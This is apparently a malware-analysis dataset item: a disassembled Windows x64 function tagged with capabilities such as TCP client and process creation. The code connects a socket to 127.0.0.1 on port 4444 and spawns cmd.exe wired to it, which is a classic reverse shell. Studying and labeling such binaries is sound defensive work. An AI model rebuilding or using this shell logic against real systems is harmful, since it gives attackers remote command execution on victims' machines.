Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001052
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WSAStartup_failed._n
call fcn.140001250
mov eax, 1
jmp 0x14000122c
mov qword [rsp + 0x4b0], rbx
xor r9d, r9d
mov qword [rsp + 0x4b8], rsi
mov esi, 2
mov qword [rsp + 0x4c0], rdi
mov ecx, esi
xor edi, edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010b5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Socket_creation_failed._n
call fcn.140001250
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rdi + 1]
jmp 0x140001214
mov ecx, 0x115c
mov word [rbp - 0x20], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rbp - 0x1e], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov dword [rbp - 0x1c], eax
mov qword [rsp + 0x20], rdi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x14000110c
lea rdx, str.Failed_to_connect_to_server._n
jmp 0x1400011bb
xorps xmm0, xmm0
mov qword [rbp - 0x30], rbx
movups xmmword [rbp - 0x40], xmm0
xor eax, eax
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
mov r8d, 0x1ee
lea rcx, [rbp + 0x1a0]
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x54], pe_nt_image_headers64
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x38], rbx
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rbp + 0x190], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400011dd
lea rdx, str.CreateProcess_failed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001250
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001214
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rsi, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4b0]
mov rdi, qword [rsp + 0x4c0]
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.1400014a0
add rsp, 0x4a0
pop rbp
ret